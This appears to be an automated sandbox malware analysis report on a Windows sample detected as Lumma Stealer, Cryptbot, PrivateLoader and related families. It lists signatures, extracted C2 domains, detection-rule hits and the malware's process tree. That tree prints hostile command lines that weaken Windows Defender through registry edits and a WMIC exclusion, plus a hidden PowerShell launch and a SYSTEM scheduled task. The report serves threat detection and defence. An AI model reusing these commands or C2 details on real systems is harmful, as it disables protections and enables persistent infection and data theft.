Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1521590
MD5:	731200ce89a30b22a5530838e57862f3
SHA1:	0c86827c47e040d82869846c68bedb9d8afbcde0
SHA256:	b39525df56e9d5f26067add74133154b651ca91d4201302ce505444d00ac6693
Tags:	NETexeMSILuser-jstrosch
Infos:

Detection

LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, PrivateLoader, Socks5Systemz

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Clipboard Hijacker

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Neoreklami

Yara detected PrivateLoader

Yara detected Socks5Systemz

.NET source code contains very large array initializations

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Creates HTML files with .exe extension (expired dropper behavior)

Drops PE files to the document folder of the user

Drops large PE files

Found API chain indicative of sandbox detection

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Modifies Windows Defender protection settings

Sample uses string decryption to hide its real strings

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Uses cmd line tools excessively to alter registry or file data

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 7500 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 731200CE89A30B22A5530838E57862F3)

conhost.exe (PID: 7508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 7600 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

G__XJZ9ACVwRjgVn6BXId6E1.exe (PID: 7876 cmdline: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe MD5: 18E1D0F8B01CEAE85D5D7136C4CF751A)

hI6pMK6rYY2urO_lpGyU85DA.exe (PID: 7884 cmdline: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe MD5: 569BDA6BDE88B1E2DFEB814608202480)

hI6pMK6rYY2urO_lpGyU85DA.tmp (PID: 8020 cmdline: "C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp" /SL5="$70060,2863082,54272,C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe" MD5: 887F3C5F3FC423C9507F5E7EA59B72DB)

playglock32x64.exe (PID: 8056 cmdline: "C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe" -i MD5: 68B9D34F203BF46CD4771604D15115BD)

Jrh6BLxH1aqS3cJle2sY_F2Q.exe (PID: 7892 cmdline: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe MD5: 5B9E9580BB4E446ABE9EDBC7556E0D32)

Install.exe (PID: 8040 cmdline: .\Install.exe MD5: 9C515DE25DB156F66F31A9D3B1E72FC2)

Install.exe (PID: 8132 cmdline: .\Install.exe /dXVdidiCT "385121" /S MD5: E40A23C70027A430F5BFC33BCE6E82F5)

cmd.exe (PID: 7212 cmdline: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

forfiles.exe (PID: 5672 cmdline: forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 7316 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 1796 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 872 cmdline: forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 3716 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 6016 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 5768 cmdline: forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 6580 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 5764 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 6844 cmdline: forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 7116 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 3436 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 6012 cmdline: forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 1072 cmdline: /C powershell start-process -WindowStyle Hidden gpupdate.exe /force MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 5652 cmdline: powershell start-process -WindowStyle Hidden gpupdate.exe /force MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

gpupdate.exe (PID: 2192 cmdline: "C:\Windows\system32\gpupdate.exe" /force MD5: 6DC3720EA74B49C8ED64ACA3E0162AC8)

conhost.exe (PID: 2148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

forfiles.exe (PID: 1880 cmdline: "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True" MD5: D95C443851F70F77427B3183B1619DD3)

conhost.exe (PID: 5372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7348 cmdline: /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 1524 cmdline: powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

WMIC.exe (PID: 3368 cmdline: "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True MD5: E2DE6500DE1148C7F6027AD50AC8B891)

schtasks.exe (PID: 5336 cmdline: schtasks /CREATE /TN "bMvfdBTccYfZYKRCwN" /SC once /ST 18:54:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe\" Is /mKdidL 385121 /S" /V1 /F MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 4436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tyq3dazbB0crObgKIDGLxiAO.exe (PID: 7916 cmdline: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe MD5: 83766CED82D461DE3D8D68E0B07762B8)

WerFault.exe (PID: 8180 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 736 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 5512 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 744 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 1824 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 764 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 2052 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 748 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 4316 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 984 MD5: C31336C1EFC2CCB44B4326EA793040F2)

Ifh3vuF2SF2LvHombSP7ZGRi.exe (PID: 7924 cmdline: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe MD5: 447DE2327DC8ECD4830023A7D6C8ED64)

BitLockerToGo.exe (PID: 5700 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

svchost.exe (PID: 8092 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 8124 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 7916 -ip 7916 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 5880 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 7916 -ip 7916 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 1648 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 7916 -ip 7916 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6852 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 7916 -ip 7916 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7528 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 7916 -ip 7916 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7560 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 7916 -ip 7916 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
PrivateLoader	According to sekoia, PrivateLoader is a modular malware whose main capability is to download and execute one or several payloads. The loader implements anti-analysis techniques, fingerprints the compromised host and reports statistics to its C2 server.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://any.run/cybersecurity-blog/privateloader-analyzing-the-encryption-and-decryption-of-a-modern-loader/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem	https://malpedia.caad.fkie.fraunhofer.de/details/win.privateloader

Malware Configuration

Threatname: LummaC

{"C2 url": ["drawzhotdog.shop", "gutterydhowi.shop", "ghostreedmnu.shop", "reinforcenh.shop", "fragnantbui.shop", "stogeneratmns.shop", "vozmeatillu.shop", "offensivedzvju.shop"], "Build id": "9mkWlh--RaUFPPPp"}

Threatname: Socks5Systemz

{"C2 list": ["ejrsoyz.ua8a"]}

Threatname: Cryptbot

{"C2 list": ["01fivevh5pt.top", "analforeverlovyu.top", "fivevh5pt.top", "+fivevh5pt.top"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000002.2102908522.00000000020C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000D.00000002.2682333164.0000000002CA1000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
00000009.00000002.2102510892.00000000004AD000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x5ea1:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000A.00000002.1766538879.000000000198E000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
0000000D.00000002.2681681292.0000000002BF3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
0000000A.00000002.1766830141.0000000001B00000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000006.00000003.2335001798.0000000003F8D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security
Process Memory Space: RegAsm.exe PID: 7600	JoeSecurity_PrivateLoader	Yara detected PrivateLoader	Joe Security
Process Memory Space: G__XJZ9ACVwRjgVn6BXId6E1.exe PID: 7876	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security
Process Memory Space: G__XJZ9ACVwRjgVn6BXId6E1.exe PID: 7876	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: G__XJZ9ACVwRjgVn6BXId6E1.exe PID: 7876	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
Process Memory Space: playglock32x64.exe PID: 8056	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
Process Memory Space: Install.exe PID: 8132	JoeSecurity_Neoreklami	Yara detected Neoreklami	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 9 entries

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, CommandLine: "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, CommandLine|base64offset|contains: <, Image: C:\Windows\SysWOW64\wbem\WMIC.exe, NewProcessName: C:\Windows\SysWOW64\wbem\WMIC.exe, OriginalFileName: C:\Windows\SysWOW64\wbem\WMIC.exe, ParentCommandLine: powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 1524, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, ProcessId: 3368, ProcessName: WMIC.exe

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /CREATE /TN "bMvfdBTccYfZYKRCwN" /SC once /ST 18:54:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe\" Is /mKdidL 385121 /S" /V1 /F, CommandLine: schtasks /CREATE /TN "bMvfdBTccYfZYKRCwN" /SC once /ST 18:54:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe\" Is /mKdidL 385121 /S" /V1 /F, CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: .\Install.exe /dXVdidiCT "385121" /S, ParentImage: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe, ParentProcessId: 8132, ParentProcessName: Install.exe, ProcessCommandLine: schtasks /CREATE /TN "bMvfdBTccYfZYKRCwN" /SC once /ST 18:54:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe\" Is /mKdidL 385121 /S" /V1 /F, ProcessId: 5336, ProcessName: schtasks.exe

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force", CommandLine: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: .\Install.exe /dXVdidiCT "385121" /S, ParentImage: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe, ParentProcessId: 8132, ParentProcessName: Install.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powers

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell start-process -WindowStyle Hidden gpupdate.exe /force, CommandLine: powershell start-process -WindowStyle Hidden gpupdate.exe /force, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: /C powershell start-process -WindowStyle Hidden gpupdate.exe /force, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1072, ParentProcessName: cmd.exe, ProcessCommandLine: powershell start-process -WindowStyle Hidden gpupdate.exe /force, ProcessId: 5652, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, ProcessId: 8092, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T00:53:50.147943+0200	2054653	1	A Network Trojan was detected	192.168.2.9	49725	188.114.96.3	443	TCP
2024-09-29T00:53:51.135862+0200	2054653	1	A Network Trojan was detected	192.168.2.9	49726	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T00:53:50.147943+0200	2049836	1	A Network Trojan was detected	192.168.2.9	49725	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T00:53:51.135862+0200	2049812	1	A Network Trojan was detected	192.168.2.9	49726	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI)

